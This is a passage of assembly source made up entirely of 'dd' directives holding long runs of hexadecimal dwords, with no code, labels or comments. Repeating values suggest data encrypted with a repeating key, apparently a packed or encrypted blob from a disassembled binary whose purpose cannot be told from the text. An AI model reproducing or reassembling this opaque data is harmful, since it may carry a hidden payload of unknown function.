		dd 0E546A9CEh, 10585F8h, 8D15E81Dh, 0F8B32076h,	490469A6h
		dd 82CF0A85h, 5FA1B2B0h, 893A89BCh, 105980Fh, 0C1657590h
		dd 98B51EFCh, 28E3C757h, 926B10ADh, 15ED73FBh, 7FFD9E5Ah
		dd 0E0DD8E73h, 77C842FCh, 0EDE7A053h, 0F02D64D0h, 46CDCBAAh
		dd 0EFF56130h, 91560C60h, 4BCED8BBh, 0CF486255h, 1CB3EC7Ah
		dd 1CD0F07Eh, 0A2FF5659h, 30E6A927h, 0E54659DFh, 10585F8h
		dd 8D15E81Dh, 8B9C2076h, 8787D392h, 0DB8E6C5h, 112662Eh
		dd 64C2AD92h, 95E09863h, 0C5D9E504h, 37489711h,	84B6403Fh
		dd 0D8613936h, 0EE7ACE9h, 0BB44426Bh, 1F21E9DAh, 634D066Eh
		dd 778A5DECh, 0E0DD8E73h, 77C842FCh, 4D62A053h,	0F9AF9DCCh
		dd 35C88B8Fh, 0D7D56828h, 0DDB2504Ah, 5C38D399h, 85574602h
		dd 19D37093h, 0AC99F325h, 1574F46Bh, 1054C71h, 28679EEBh
		dd 0F9AF6D64h, 79C84542h, 2A102AC9h, 94D0B52Ch,	0A9B0CBA3h
		dd 476E5E33h, 1898CE39h, 0FE052F3Eh, 22C842FCh,	1126662h
		dd 6BF6ECC3h, 0EFC842FCh, 0C8B778F1h, 0DFC842FCh, 6C0C3C64h
		dd 4BC39D22h, 0B9B1F655h, 2B8FBA9Ah, 0CE1C73E3h, 0D50844EAh
		dd 0D409A71Fh, 0BC394C5Bh, 6BF6ECC2h, 0EF96A013h, 0B998CAFBh
		dd 4CDE37F0h, 332ADB4Bh, 2EC60556h, 0B343DB96h,	0B93E0994h
		dd 0A24237F0h, 9987BC0Bh, 790FECE4h, 3C6CA899h,	4DD498A2h
		dd 13957D15h, 58DD7E76h, 0E1B7CE3Ch, 539D28E7h,	88F38D02h
		dd 5372D072h, 8FF611Eh,	0FE629548h, 8478B9B4h, 130F240Fh
		dd 0E0E9A68Bh, 0DC20981Dh, 0E4787648h, 6E8C0A3Dh, 434A5366h
		dd 8B1C964Ah, 0D7AA85F1h, 0FDC0BB1Fh, 87947D9Fh, 0B3FDCA4Ah
		dd 0EEF58A8Bh, 0FA67BA5Dh, 93EBA0CAh, 6B01FE97h, 0A408E7A3h
		dd 22D6A460h, 2237A788h, 0AC3F27E1h, 5E55F7DEh,	401F8197h
		dd 72104266h, 0C70BA55h, 20E33C7Eh, 65CF032Bh, 2CE58BBEh
		dd 5574F0AAh, 0D88F2F47h, 7D1CF348h, 0B482CCA7h, 0FA658A9Ch
		dd 8873F6E8h, 2493B1C8h, 0B8D6A40Eh, 319BB7ABh,	6D123F61h
		dd 0BB6E0171h, 8C341A5Fh, 0FB4BE8BEh, 7330EA2Bh, 0F9D6A460h
		dd 0D93CB348h, 0C2457E55h, 45EA47F1h, 541C6782h, 6B4A2F47h
		dd 4AA12DDFh, 0DF8D34ACh, 0B92D71A9h, 0ECFE1E75h, 586DC1EFh
		dd 6C21F7E7h, 0C8465DEh, 0FC398309h, 8E581F41h,	0BCAC6DD0h
		dd 0F1A05B86h, 0B709A650h, 9598EAD5h, 346A9A2Bh, 8ED6A449h
		dd 0F58FADEBh, 3DA2632Ah, 765D5CD0h, 0AD889EC3h, 0ED3E1897h
		dd 6DD6A524h, 37E6DEE4h, 98E3F9CCh, 0E5425B06h,	82D89D3Bh
		dd 0BD0A7A7Ah, 4DF5E402h, 0B7400E22h, 6CD3914Ah, 1DECCF4Dh
		dd 91A05271h, 51F5E0F5h, 0A08980CCh, 0A588C620h, 71A66127h
		dd 0E806C6B3h, 26D481A3h, 0C3A0EBAFh, 57AA4759h, 40AD0EEh
		dd 872D686Fh, 9416F462h, 0EB22F2B9h, 0E6F1AC4Dh, 9D1D56E1h
		dd 1FD6A445h, 6E52D39h,	8BB41F63h, 4BD03C2Fh, 0D721B655h
		dd 13E86B46h, 67EBB878h, 9B9A4D5Bh, 0AFD6A496h,	92713B2h
		dd 2001C654h, 2FBF58DFh, 0CDCEA1D6h, 80317D6Eh,	1E7458F0h
		dd 0E0C73C91h, 0BE2515B6h, 2402927Ch, 449902BAh, 8980A429h
		dd 12143601h, 0A2FF6038h, 0B32BDC9Ch, 23E42F6h,	0FCB60724h
		dd 0CABF6281h, 47BB3AC8h, 872F7FE7h, 75B6D943h,	89030F7Bh
		dd 39DC5C3Fh, 2536D500h, 6D1A0E9Eh, 81AC8EA3h, 779BA053h
		dd 6BD0200Ch, 9AF8E4A3h, 0B04D903Bh, 9563B376h,	0F9EDF7DEh
		dd 42B70062h, 959A631Ch, 0D04D305Ch, 8371B565h,	0C220CB29h
		dd 0AC704A54h, 3A78117Eh, 179C2FBDh, 96BB18C2h,	0F67E5ED4h
		dd 0E3912F3Eh, 5BCA237Eh, 4F97BF52h, 855C1806h,	0A4FBD642h
		dd 2BC8444Dh, 3A6B9C1Fh
		dd 4814E1B3h, 0C6C84497h, 211C73B5h, 68DCAE92h,	0B3AF2666h
		dd 48B6CE3Eh, 0C4D55A08h, 35A0483Ch, 0FD728D00h, 0D6DB0E53h
		dd 5A5A6F3Eh, 1BDED982h, 22771B92h, 49912CFDh, 3C7B8101h
		dd 84F33266h, 0A2B249CFh, 3FCEA827h, 7B28641Eh,	0EFF20A1h
		dd 967010BEh, 0AB14C422h, 0E415BF29h, 1D77B01Eh, 154F52E6h
		dd 0CF65AA4Eh, 0B727FB9Fh, 0D624D179h, 0A3F8B4E4h, 2DFF601Fh
		dd 5BF8C5C4h, 2DFF6378h, 2D97C5ECh, 0ADC12A87h,	2BFF6127h
		dd 4426679Fh, 12D77DB3h, 0D65834B3h, 0BACBC00Bh, 3CD74CA8h
		dd 0F3967CCFh, 6C27C4EBh, 70347013h, 0A5FF6127h, 0F53AD208h
		dd 6C27C5CBh, 0D6FE2A13h, 246ACB00h, 0A2FF67EFh, 0AA8AE027h
		dd 2FFF6127h, 470CC4D4h, 2B0EC48Ch, 0C84467DCh,	926E5AB9h
		dd 0E5873551h, 0D21936F6h, 52EC66B4h, 0A01A1714h, 0AACBC069h
		dd 8CC12CDCh, 0A2FF61BDh, 11A6E604h, 7 dup(0A2FF6127h)
		dd 0F9446127h, 50FF611Ch, 0E829DC40h, 8DD2637Bh, 9BADEFEEh
		dd 0EB5BF753h, 22C88A84h, 6DF6E95Fh, 166393C5h,	4B32024Eh
		dd 99B489B2h, 0DF124A59h, 0FA659F87h, 0E512F307h, 1BFDCA4Ah
		dd 4789BDDAh, 0DBE84283h, 0C34C15B6h, 0B04ACDE5h, 170660EAh
		dd 0C6604337h, 0BC9CF9EDh, 0FB93927Ch, 403124CAh, 0C2B75D74h
		dd 243BE5B8h, 34BDC581h, 7D03796Ah, 20561D56h, 25D0D7DCh
		dd 50764766h, 0A9DE2442h, 859FE2E0h, 2296F8C8h,	495BCE4Fh
		dd 0B1E5CE7Fh, 0D8EDF270h, 740AB535h, 0A6760D77h, 980AAC82h
		dd 0D1D65708h, 0ADF25DC0h, 0D8145C3Ah, 0C1932F33h, 0D81CACE5h
		dd 552D2F33h, 4149A8DFh, 5C5641Eh, 92B0C846h, 0A2FF608Ah
		dd 98B520B1h, 9DC7D957h, 1D6A39DEh, 47483241h, 24261B50h
		dd 6627EAFBh, 26FE5BA0h, 1055307h, 0B7F5FF21h, 0FBD8BDA3h
		dd 0A2FFAA86h, 1CAE5E27h, 6DB30F7Eh, 8A9BA23h, 3D92B1CBh
		dd 0D254AA1Ch, 5E036526h, 97C11624h, 66980DAEh,	0A2BCA73Fh
		dd 0F4BAFECEh, 0C5DD6311h, 7160641Dh, 0E17020D9h, 20B9B62Bh
		dd 0C8383C69h, 65F0A1Fh, 54261B51h, 13FA33AFh, 8801ABE6h
		dd 0F7AA0726h, 0B79520EAh, 0E5BD4F96h, 45568B43h, 6F22B548h
		dd 74FF991Bh, 0DDB15FEEh, 229A3D12h, 3A66FF66h,	0BFC844F2h
		dd 2F0D4762h, 0D054FD2Bh, 57413214h, 0B7652F47h, 0DD345EAAh
		dd 73749E1Bh, 0FA66140Ch, 0B2B1E4FFh, 83E7525Eh, 4C3C3410h
		dd 61F9EE55h, 0BBDDB37Ah, 89C1B3DBh, 1C690C77h,	96A1C522h
		dd 833B2F33h, 0D031BA9Dh, 49A36C4Fh, 0C3B570E9h, 0E2335DE1h
		dd 0B185022Fh, 0FD268F4Dh, 0A2FF86A4h, 0E3ACD027h, 0B2C5BB53h
		dd 0F34D4AAEh, 0C49A0263h, 44C842FCh, 0A670BEBFh, 0DF8CB92Ah
		dd 5EC842FCh, 52437ACEh, 1EE26F55h, 19EE77F3h, 5243945Bh
		dd 0BD1471A7h, 0CD26DE3Eh, 0B2D7ADEAh, 0A0504482h, 0B302B276h
		dd 0B8AEE2A9h, 6D52FF6Ah, 0E7FDE0Bh, 2F67CE61h,	0B54B5037h
		dd 4A981E37h, 26379E55h, 10372F7h, 6FF900EBh, 0A2FF6001h
		dd 0B1A84ACh, 91C8442Dh, 8799D940h, 0F7AA0726h,	3D44F1EAh
		dd 61F9ED87h, 0B319747Ah, 0FA5D9346h, 1059B70h,	92C53EF1h
		dd 14888CF3h, 208BAED9h, 2A62AC21h, 0AAC84538h,	602513A1h
		dd 96CB45B0h, 1CACD6BEh, 7F5B0F7Eh, 0E7996AA6h,	1057E33h
		dd 0A9CCF857h, 0FBD747C5h, 0A2FF63CCh, 1DAD1827h, 6E001087h
		dd 0AE77BA23h, 0E86C7792h, 442B29A8h, 9619AB7Dh, 0DF905212h
		dd 0A1ABA822h, 858E92A3h, 15FCAD4Eh, 0E3D2D545h, 1FEC293Eh
		dd 7683F2Bh, 3251170Dh,	3BBFAC9h, 28F63E30h, 0C46DA96Ch
		dd 9ECEF742h, 6167109Ah, 7ECA7C54h, 3486E712h, 430808F0h
		dd 0E98C54ABh, 6B00107Eh, 3EFEBBECh, 8070B1CBh,	92ED32DAh
		dd 0FBE69016h, 3444FE30h, 0B5D69E83h, 165FF22Ch, 0F2E6F46Ah
		dd 0BEF87750h, 667C579Bh, 0B6FDDD17h, 1D426C4Ch, 0A2CADBEEh
		dd 68798627h, 4BC34C95h, 6E4D055h, 44811148h, 0D3178CE7h
		dd 0EA67C31Ah, 0E67C0A2Ah, 0C229F471h, 9BA09F69h, 2F3E62A6h
		dd 9DB848A0h, 11463BE7h, 5B7986A5h, 1A81669Ah, 4D0AEF1h
		dd 0D63C52DEh, 67BDB72Fh, 79D69EEDh, 0BB1A2292h, 5F6A2C9Ah
		dd 2CD6F75Dh, 0FFD94722h, 0DE0DF7Bh, 54152584h,	19A29D54h
		dd 284E057h, 0A2FF6F63h, 7E61227h, 9D96876h, 0A36BA146h
		dd 1058722h, 0CB3DB5Eh,	8E682F3Eh, 0F18502B6h, 0E4232D44h
		dd 0C15A54E1h, 81058704h, 99969DB4h, 46E2ED10h,	6422C8BEh
		dd 726D2C3Ah, 0A2FF6377h, 3A4EA11Bh, 328CB128h,	9308AEF2h
		dd 130C2F3Eh, 70C00E6h,	9A35D175h, 9D38FB4h, 0E8F6B907h
		dd 0F476F760h, 169D28A9h, 0DCFFEE6Fh, 0E2B521E0h, 0EC8F84C3h
		dd 0FC33DF31h, 4A125C4Eh, 0CA2F9C68h, 0FC33D652h, 0E93480EEh
		dd 4BD69E20h, 8A89143Fh, 640BB0C4h, 6CDFF6Ch, 0A9B8B70Bh
		dd 0A048FDC5h, 5EA0F3Eh, 5A64A024h, 241BC057h, 82EEBE4Eh
		dd 0BAD69E22h, 0E1B49260h, 0A493EE2h, 760BD44h,	22D3416Ch
		dd 0B67EC6BAh, 4836D826h, 0C0934D82h, 41329812h, 9093C24Ah
		dd 38ED9345h, 0DB694459h, 1BBC8F1Ah, 31DA9035h,	3AAC0BF9h
		dd 1927AB1Dh, 8799DD46h, 0D0B54C51h, 10D35FC5h,	0DB8EF623h
		dd 30638CBFh, 63EE296Ch, 679680BCh, 852617DBh, 0F1356527h
		dd 0ED3E18DEh, 0F6C842F8h, 0AAA6F3D5h, 7D744597h, 9DD6A5D7h
		dd 3162CC6Ah, 0CEE2F7E7h, 0B8FF2B5h, 0F8E863ABh, 0A08AFC2Eh
		dd 0F0932A24h, 0FA659F69h, 294B546h, 0DF217CB8h, 15DB6875h
		dd 29D7A00Eh, 0EE8A6731h, 9070AACEh, 0D80B335Ch, 3524A22Fh
		dd 0BE697423h, 8A3CFC4Eh, 1913888Fh, 6A1CB6AFh,	0C8BC3FF5h
		dd 2B3FFECAh, 0EC6DF372h, 2369C594h, 68E53BE0h,	30E26DF3h
		dd 665DC88Bh, 73CA0BECh, 911E8DDAh, 0B0361F92h,	6B53888Ch
		dd 0DFFFAA5Dh, 89EF4CBDh, 0A300BA3Ah, 0A646AA27h, 1D11E818h
		dd 783814B5h, 1E8B491Eh, 10F2E68Ch, 357169ACh, 87DB6D85h
		dd 1587BC8Ch, 0D9A1B3DCh, 423C52E3h, 76011FACh,	0AC5A5709h
		dd 0A4420FA0h, 6177A885h, 5B6C229Eh, 8B83593h, 2444CB63h
		dd 0A2FF67D9h, 0ADBCE227h, 15861C8Eh, 0AEB7C5BBh, 0BCEA7DB3h
		dd 2DFF61CFh, 2D7BC524h, 0AA652A73h, 2BFF6127h,	0E42667ABh
		dd 72D77DB3h, 135834BCh, 2CCBC06Ah, 0D6FE2C9Fh,	86A6A79Eh
		dd 2583AF36h, 0A2FF67DAh, 0ADBDE027h, 2DFF6127h, 1431C524h
		dd 0D923F6B3h, 720B3078h, 61576AB0h, 49546E32h,	2B79C48Ch
		dd 1A6E67DCh, 6C257AB3h, 0E6C2E813h, 580B60E5h,	0CAD86BCDh
		dd 8A577279h, 0A20B6468h, 0AF927FADh, 0A9C1A41Eh, 0E7CE8F20h
		dd 0B0F49062h, 2647CD39h, 5C728432h, 53AEC8DFh,	0BB689A48h
		dd 800B5EC3h, 0CD791F09h, 204B9F9Fh, 0EA944C1Bh, 854DCBF9h
		dd 53D7BBCAh, 27E475A9h, 0D6895B75h, 0D6B8431Dh, 22541554h
		dd 23A9150Ch, 154D8876h, 0B8FB854Eh, 0F12EDE0Bh, 0D652100Ch
		dd 1D240180h, 251B481Ch, 0B3D75485h, 48F22654h,	31D746D0h
		dd 0B13A0D5Dh, 0C77F26A8h, 39D74886h, 0AFCFC0C1h, 9FBEDEDAh
		dd 0DE24886h, 2A1E6127h, 0A2FF611Eh, 39660AC9h,	0B13A5B95h
		dd 0A2FF6127h, 7EC83FD6h, 68C1488Fh, 0B13A119Ch, 73DB2E82h
		dd 4640488Fh, 0A2A7E801h, 0BD5F6127h, 0B2A322DEh, 0EC4C65B3h
		dd 482065BAh, 0B50C6130h, 97BB6CDEh, 0A2FFAF9Dh, 0AA23AE27h
		dd 2DFF6127h, 43855255h, 537EC81Ah, 53CBBAC2h, 2DA05E30h
		dd 0F2CBBAEEh, 7E764CE7h, 0C8184F5Eh, 6507E25Dh, 0D159D210h
		dd 48994366h, 0DE2EEDF3h, 2F22314Bh
		dd 0BF77A720h, 89B43574h, 7360B168h, 80A06A83h,	632E8113h
		dd 92CF1483h, 0C932AAE0h, 0F8737D59h, 0BC7BE786h, 4CA49831h
		dd 0E91699D9h, 86EC943h, 2B7AFC95h, 0EB2E433Ch,	7BF906DEh
		dd 0C50F44F3h, 0B2E0A6Eh, 4C3F458Bh, 0CE06A4EFh, 0C365BED6h
		dd 0E1F22BAFh, 0ED92BEF2h, 43B62B33h, 391131FAh, 0AB34433Ah
		dd 44E00A8Bh, 0B5852A0h, 0AC3F433Ah, 0CE04EF5Ah, 0B33B512h
		dd 0D8AD6939h, 5D1A9F45h, 49CE3F2h, 121D41D3h, 4E1A9F3Fh
		dd 0E271BAC7h, 503E4050h, 202E5BC7h, 68AD0E50h,	5B1A9FAFh
		dd 4615CA94h, 5CFD4397h, 221A9C3Ah, 0B2E400Bh, 2 dup(0B2E4339h)
		dd 0D5B69539h, 0D9980FD9h, 247CBEF2h, 27B62B98h, 0CAAD0AF6h
		dd 9028EAD8h, 589BDA73h, 0CD4E63C9h, 25696ED6h,	58B82B98h
		dd 10430E13h, 5C93D0B8h, 902E8CFCh, 0B051D5EEh,	0CAAD0C50h
		dd 6828EAD8h, 0B0529386h, 0C50F4350h, 0B2E4350h, 0E77C29F2h
		dd 532E4338h, 0B2CD050h, 0B2E4339h, 91684339h, 27B363CDh
		dd 12AD0A52h, 4E28EAD8h, 0B0521AB7h, 64AD0E50h,	442E5C48h
		dd 91506289h, 0B051D5BEh, 0B2D8550h, 247CBE74h,	11B62B98h
		dd 247CBEF2h, 11C22B98h, 0EB2E4339h, 23DE6EF1h,	589C2B98h
		dd 0CD4E6396h, 146EBED6h, 51B62B44h, 6CAD0D7Eh,	4E28EAD8h
		dd 0B051E1B7h, 64AD0E50h, 442E5C48h, 58B36289h,	0CD4E63EAh
		dd 2D850DFCh, 1428EAD9h, 0E82805C0h, 0C8430C20h, 23F11E3Ch
		dd 0F2B62B98h, 271D479Dh, 5D28EAD9h, 9153BC75h,	3E2E96ACh
		dd 0CD4E6396h, 23F1163Ch, 66412B98h, 91C14132h,	0B052B026h
		dd 0E8370C50h, 0B01FAF8Dh, 45E8C450h, 0D19A45EBh, 1110BEC8h
		dd 0E8304339h, 42D2A9C7h, 278B41B8h, 42F1C80Bh,	142CFAB8h
		dd 42F1CFBEh, 68F961B8h, 14291BC8h, 42B44774h, 0B01FACBEh
		dd 1AD0A50h, 9028EAD9h,	8EDC0C69h, 6A46C3FAh, 0B28EAD8h
		dd 12F3F339h, 0B2E8FBEh, 15898239h, 110F369Eh, 0B352A39h
		dd 0B9414339h, 831989C3h, 0D0B3433Ah, 0CD4E61D2h, 0CD278CBCh
		dd 9019D774h, 0BDB4A4F3h, 12410DBAh, 0B8179BDh,	6A46C239h
		dd 0B28EAD8h, 12F3F339h, 0B2E8FBEh, 0CF898239h,	823F369Eh
		dd 0B352A3Ah, 0B9414339h, 43198672h, 11D54338h,	666E4339h
		dd 118A2951h, 0B2E40B9h, 1111BEC8h, 0D1014339h,	0CD4E61D2h
		dd 0D19E4339h, 1101BEC8h, 484D4339h, 902E41F9h,	0EB2E40B9h
		dd 0CD1BC5F8h, 0E6AD0E88h, 4A28EAD7h, 1EAF6FC7h, 40AD0E4Fh
		dd 4A28EAD9h, 2029BBC7h, 0F5AD0E50h, 4A28EAD8h,	2034C7C7h
		dd 0B1BCB50h, 0F2014339h, 49B47588h, 28BBE542h,	0E00F15B3h
		dd 4B4A764h, 0B81B00Dh,	0B3510C8h, 0D9894339h, 22E4339h
		dd 0F2D36777h, 331D946Bh, 0B819F92h, 6B49628Fh,	9A575D46h
		dd 0F0510A74h, 0B2E8D70h, 0E6AE4E39h, 3304CC5Ch, 29CF87B1h
		dd 0B2D900Bh, 0D883B139h, 23CE24D7h, 57B2D6D7h,	89DBF76Dh
		dd 0D1A963DAh, 20BF8933h, 0B1B2DD9h, 5A094339h,	0FE847BA8h
		dd 43C60349h, 342B5D23h, 81A9625Bh, 0BA7ABEB3h,	1086CDBAh
		dd 0B9B2B73Fh, 5DFDAC77h, 0B2D2972h, 0EF318139h, 123F7A82h
		dd 0B2E47C7h, 18178139h, 5351E629h, 1101CB33h, 8E5E4339h
		dd 8C1E7B8h, 53C30AE8h,	0D7647FAFh, 0ACA960FFh,	0BE8FC8Eh
		dd 0BA9C83BAh, 3F9E610h, 15BF29ABh, 0B819BBEh, 0D1A64939h
		dd 11062A71h, 8EB24339h, 0B52C2658h, 8D3652F0h,	3C646C08h
		dd 0B8E52603h, 423F437Dh, 0D1E747A5h, 49B9DF46h, 6112D984h
		dd 7 dup(6112F7BBh), 747AF7BBh,	3 dup(747AD984h), 0C7AD984h
		dd 199ED97Bh, 99D1D97Bh, 999F3EB2h, 0F1C73EB2h,	60F9BFFAh
		dd 7461BFFCh, 0CE7AD984h, 511ED97Bh, 7D21D984h,	99D1D984h
		dd 51203EB2h, 0D178FBD0h, 7A937CF3h, 6112D934h,	6112D9ABh
		dd 99A0BFFCh, 0D7203EB2h, 747AD97Bh, 7461C184h,	60F9C184h
		dd 747AD984h, 6112F704h, 7479BFFCh, 6112D984h, 6114417Ch
		dd 7461BFFCh, 747AD984h, 6112D984h, 60F9BFFCh, 60E1BFFCh
		dd 3 dup(60F9BFFCh), 0F078C184h, 747C3FFAh, 5155C184h
		dd 5155FBD0h, 60F9FBD0h, 60F9BFFCh, 0F461BFFCh,	0F47AF72Ah
		dd 60F9BF2Ah, 6161BFFCh, 60F9BFFCh, 7461BC23h, 60FAD984h
		dd 610777FCh, 60F9BFFCh, 610777FCh, 60E1BFFCh, 60F9BFFCh
		dd 65F63FFCh, 0B5B48Eh,	7F0C5D5Eh, 747AD9A0h, 7463D984h
		dd 0A41BF484h, 0A398F7BBh, 747AF7BBh, 2Ah dup(747AD984h)
		dd 0A119D984h, 9D7AD9A0h, 747AD9D3h, 0A5E29A84h, 0D2CF7897h
		dd 9097CDBh, 747BB981h,	0EE7AD984h, 5C9BB501h, 74896235h
		dd 0DBBD984h, 0D2CF76C7h, 747AD97Dh, 746F9DD3h,	0A1098A84h
		dd 0C47BB980h, 2E445B16h, 9DAC3CA4h, 0CF32D659h, 0F7AD97Bh
		dd 7AF62647h, 617AD97Bh, 0DBD6FB07h, 0B7384E7Ch, 0D2CF76C7h
		dd 0F03C6278h, 0CA9B3CA2h, 532CC0AEh, 72B6AEEBh, 11B3597Bh
		dd 0DC058B7Bh, 0F5DEF4AEh, 0C13D973h, 747AD9B2h, 8F7B9B3Eh
		dd 7B5E9B3Dh, 7A719B3Dh, 747C45D3h, 48B35984h, 75B3597Bh
		dd 99497F7Bh, 2EABE87Eh, 292B7A79h, 0C2142617h,	26D7F439h
		dd 8D144490h, 8BBA8B35h, 7384C60Dh, 747AD97Bh, 882E774Fh
		dd 857BB667h, 0DBB7B93Fh, 22FD87Ch, 96FDF7BFh, 74953E07h
		dd 0C8B0F784h, 0FE0E400Ah, 747AF500h, 8D372CFBh, 746F4B07h
		dd 969BB584h, 746FA0FEh, 97FB5984h, 0EE134482h,	0C97AF473h
		dd 0E623366h, 8B712EBEh, 747C40FEh, 99497F84h, 96497FA0h
		dd 7B8FD684h, 2DE1F484h, 4DD4D9EFh, 0F4483DD8h,	7C0A6234h
		dd 0F5E1F484h, 0D13D909h, 747AF50Bh, 7A7148FBh,	7A5D9B3Eh
		dd 746478D3h, 0DF83C084h, 127C81F9h, 0A814422Fh, 7BF56234h
		dd 0C213D984h, 26D7F439h, 0C1E14490h, 613F7E03h, 13EF4790h
		dd 747AF7FBh, 747AE2D3h, 42264484h, 7384E572h, 747AD97Bh
		dd 0F02E774Fh, 857BB65Dh, 0DB90B93Fh, 2833D87Ch, 61FDD64Fh
		dd 490F563Ch, 899900FCh, 46E0D862h, 0C7A184Dh, 10EB3046h
		dd 747AF7EBh, 102B9A79h, 8B7C3EBEh, 0CF7C830Dh,	101093F9h
		dd 1FFA8CAEh, 180D93FAh, 0C1E13D01h, 8D8A59C8h,	98560D34h
		dd 0F7BD661h, 0C13D9DAh, 747AD667h, 8E042B3h, 0A17AD984h
		dd 83676234h, 0F5FAD984h, 0D13D985h, 747AD978h,	4960B004h
		dd 7495BD35h, 4DD4D984h, 4DFAD6F9h, 7385D8F9h, 747AD97Bh
		dd 0AC2E774Fh, 137BB65Dh, 0DBD6B7FEh, 747B2E7Ch, 2A1A9A84h
		dd 0F47AD984h, 8B61F466h, 7461B7FEh, 97FB5984h,	3AE04482h
		dd 0E7AD984h, 81933EBEh, 747B2ED6h, 4971B004h, 7D486235h
		dd 0F5FAD984h, 0C13D9D8h, 747AD9A2h, 0A2CE6F35h, 560DF278h
		dd 0EA154308h, 0CE97598Bh, 980D6234h, 0C612D97Bh, 0A85532F8h
		dd 747AD7DAh, 0CE8A5984h, 8CC36234h, 9E12D97Bh,	980CDDF8h
		dd 0EFAD97Bh, 8D13447Dh, 0E7AD97Bh, 96623EBEh, 0C0E4175h
		dd 747AF71Eh, 0A6CE6F35h, 8B7A00FAh, 26EC520Dh,	9D8D0ADFh
		dd 0A454F7ABh, 5279CA84h, 5079E08h, 0AD134232h,	507AF47Bh
		dd 35719DF2h, 813444Eh,	0F7AD984h, 53897484h, 747AD942h
		dd 8C4A184Eh, 747C8CFEh, 11FB5984h, 0E1E0447Bh,	8B7AD97Bh
		dd 727BA20Dh, 747AD990h, 5382F75Ah, 9D9032C7h, 1183C36Ch
		dd 0E8DF16F9h, 8E34588Bh, 7B3CBD34h, 9552D984h,	980EBD34h
		dd 0AFFAD97Bh, 46FDD973h, 747B2BDAh, 963BC384h,	87273F7Eh
		dd 527AD97Bh, 989630C7h, 2764A27Bh, 666432C7h, 8BA1BD84h
		dd 747C9107h, 0BF264484h, 0F58EEE84h, 1026449Fh, 5B491B85h
		dd 0D5143BF8h, 4813447Dh, 947AF484h, 0B676C3E5h, 0D8D193Ah
		dd 0D2CF7876h, 407F58FAh, 85AB3CA9h, 0D2DC6109h, 7385D659h
		dd 747AD990h, 94789AA4h, 8F4063FAh, 8FF5FB02h, 747AD96Eh
		dd 0C676E8C7h, 0D744B645h, 77C9090h, 0F6C46E8Fh, 0BD8CB67Ch
		dd 0EE898E1Ah, 49C2CD01h, 8FE35B3Dh, 0F3903CA8h, 44D9D97Bh
		dd 0D240A516h, 6B6B5B3Ch, 747C3CA8h, 8D32D984h,	0E97AD97Bh
		dd 9E9303D7h, 0DDA59035h, 0ED1F9BB3h, 0E11AB1D1h, 0E7AD97Bh
		dd 69873A47h, 7BCA4485h, 0EA77CAA9h, 3796629Fh,	46843150h
		dd 0F77A0A0Eh, 9D7C637Ch, 747AD8D3h, 0CAFDB984h, 6FADBF46h
		dd 7153AE87h, 747B9387h, 0CA86A284h, 4A2864C2h,	0C8BE18F5h
		dd 3634243Ch, 3844F4AEh, 8B7C9009h, 7BAFD044h, 96FAB285h
		dd 888D3CA8h, 95B12DE8h, 66105834h, 68FE3394h, 0ADA38AFBh
		dd 0CB192E66h, 7448E257h, 85B1B7FCh, 49508F21h,	9AFCF386h
		dd 0BA4F6723h, 0C28389D3h, 38AC939Bh, 0C77CE099h, 64A948C5h
		dd 0C64EFCF0h, 3E33858Fh, 34E94350h, 4FA8E580h,	3C2247E0h
		dd 670C27EFh, 2E6CFCA1h, 16BB52A2h, 6CE64006h, 1975858Fh
		dd 1133858Fh, 0D8C3871Ch, 93EF9A06h, 1A2F4306h,	0E5AD1BB6h
		dd 5AFCF306h, 983A1397h, 72ADB917h, 33070AE4h, 1241FCA0h
		dd 3B2FCD42h, 2285F70Fh, 0F567E1E1h, 17E5C25Fh,	0BAC8858Fh
		dd 0F5B87D70h, 2FB52866h, 3655B578h, 0CB569193h, 95634C1Ch
		dd 5FB4800Ch, 184B9B25h, 7442858Fh, 599E3C82h, 0BB361h
		dd 183387A3h, 0A8C6FC8Fh, 6A41FCD9h, 992FCD39h,	0DFBB728h
		dd 469A1878h, 0F6358878h, 2710D91Ch, 614DA2E8h,	0BC4FC292h
		dd 0D5B615E1h, 0DDCAEFD4h, 22766BD8h, 7F7D3D19h, 51849623h
		dd 0BA216513h, 0E324962Ah, 2D4FF1BCh, 2D8B1794h, 0B07A962Ah
		dd 0A64FFBB7h, 9A1E6D94h, 0A64DA276h, 19329930h, 167FD39Dh
		dd 2C75BED6h, 0F8341F15h, 0C8A356BEh, 0F8611F14h, 75A4E450h
		dd 227532F8h, 0D5CC512Bh, 22751774h, 0DDBCA811h, 16C17B40h
		dd 1EE2CB9Dh, 3EE4D020h, 0C638D3CAh, 5A4DA276h,	2D4FDA31h
		dd 0DCCBC27Fh, 2274E01Ch, 0E63F3D85h, 2D50268Bh, 1CE9967Fh
		dd 1ED9F2FFh, 0D00C2D02h, 0D973FFh, 2D4DA2B1h, 2600E6Bh
		dd 232AF392h, 9ABAA275h, 8D3C6471h, 5C806B56h, 3B827506h
		dd 0D99283E7h, 0AD29686Ah, 0D8BB7553h, 0CCAA2F92h, 778C77E5h
		dd 0C22DA2A5h, 6135B020h, 0CC5FB072h, 227577E5h, 0E350C093h
		dd 0D4E33DD5h, 0A51BD115h, 99914105h, 45ABC02Eh, 0D8613780h
		dd 9C61ADE5h, 0CCAC798Ch, 936B17E5h, 6F5B7E9Dh,	6F6730D1h
		dd 0CC6162D1h, 9A1437E5h, 0ACE3DEDAh, 8AA0CD42h, 45D4282Eh
		dd 0CCAC7780h, 3661ADE5h, 0CCAC798Dh, 932117E5h, 748B7E93h
		dd 6F6730D1h, 0CC615FD1h, 99FA71E5h, 0EA70C1A6h, 920FA2FBh
		dd 0D95F4F0Ah, 46ABFC18h, 6900755Ch, 0CC617438h, 0CC61A68Dh
		dd 0C26E9EE5h, 59E008BCh, 3E147B8Dh, 459C47E7h,	3661AD80h
		dd 0CCAC798Dh, 932117E5h, 748B7E93h, 6F6730D1h,	0CCB93DD1h
		dd 99FA71E5h, 0DE48907Fh, 78952636h, 7855D515h,	4AC99CE6h
		dd 35A83C54h, 33173042h, 84EFF56Bh, 99D7A4BBh, 9C8A99BDh
		dd 92CF2EE8h, 0C4C99667h, 93C04D0Ah, 679637B4h,	21C2E378h
		dd 0FD3426A1h, 0E33DB8Fh, 12139991h, 0CB65E95Fh, 7E74770Ah
		dd 0A2470281h, 0E0DE4914h, 0D3D5B59Eh, 9E3EFE14h, 7F8B6D47h
		dd 769AACB0h, 709467C0h, 8E9948F8h, 32EEB88Dh, 7F07E2C0h
		dd 0E8CAAFF9h, 0AA2EA22Ah, 109321F8h, 5DD346Ch,	3C579032h
		dd 0E80C5A9Fh, 0E627DF26h, 94262C14h, 1D62C277h, 0E80C5A6Ch
